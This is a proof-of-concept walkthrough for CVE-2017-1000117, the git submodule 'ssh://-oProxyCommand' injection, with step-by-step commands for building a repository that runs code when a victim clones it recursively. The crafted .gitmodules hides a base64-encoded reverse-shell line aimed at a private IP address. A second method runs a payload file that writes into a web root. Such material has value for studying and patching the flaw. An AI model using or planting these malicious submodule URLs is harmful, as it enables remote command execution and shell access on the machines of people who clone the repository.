CVE-2017-1000117

Malicious actors can craft "ssh://…" links to trick victims into accessing the malicious link when executing programs, thereby achieving command execution. This link can be placed in the .gitmodules file of a git project, so that when a victim performs git clone --recurse-submodules / git clone --recursive on a project, a security issue is triggered.

Warm-up:

Enter the following in the Linux command line:

printf 'a' >> /tmp/pwned.txt

You will find that pwned.txt is created in the /tmp directory with 'a' as its content.

git init

git remote add origin  https://github.com/leezp/CVE-2017-1000117.git

git pull origin master

git submodule add https://github.com/leezp/CVE-2017-1000117.git sub1

([submodule "sub1"]
 	path = sub1
 	url = https://github.com/leezp/CVE-2017-1000117.git
// 创建了 sub1 和 name2 两个 submodule 子目录)

git submodule add https://github.com/leezp/CVE-2017-1000117.git name2

git add .

git commit -m '1'

git push -u origin master

There are two methods of crafting:

Method 1: Open the .gitmodules file and modify the content (only the first one needs to be modified, because only the first submodule's exploit will be executed. Sometimes creating one doesn't execute; the specific reason hasn't been investigated in depth.)

[submodule "name1"]
	path = name1
   	url = ssh://-oProxyCommand=printf cHJpbnRmICJiYXNoIC1pID4vZGV2L3RjcC8xOTIuMTY4LjI1NS4xNTMvMjMzMyAwPiYxIDI+JjEgIiA+PiAvdG1wL3F3ZXI= | base64 -d | sh /bar
	
[submodule "sub2"]	
	path = sub2	
	url = https://github.com/leezp/CVE-2017-1000117.git

(Refer to the .gitmodules.bak1 file for details) Method 1 does not require a payload file.

Method 2: Open the .gitmodules file and modify the content (only the first one needs to be modified):

[submodule "sub1"]
	path = sub1
	url = ssh://-oProxyCommand=sh<payload/wat
	
[submodule "name2"]
	path = name2
	url = https://github.com/leezp/CVE-2017-1000117.git

(Refer to the .gitmodules file for details) This method requires a payload file. In the payload file we input:

printf 'sss' > /var/www/html/vul

Note The git clone method must be one of the following two:

git clone --recursive url
git clone --recurse-submodules  url

Using git clone alone will only download normally without generating extra files, so the vulnerability triggers under rather strict conditions.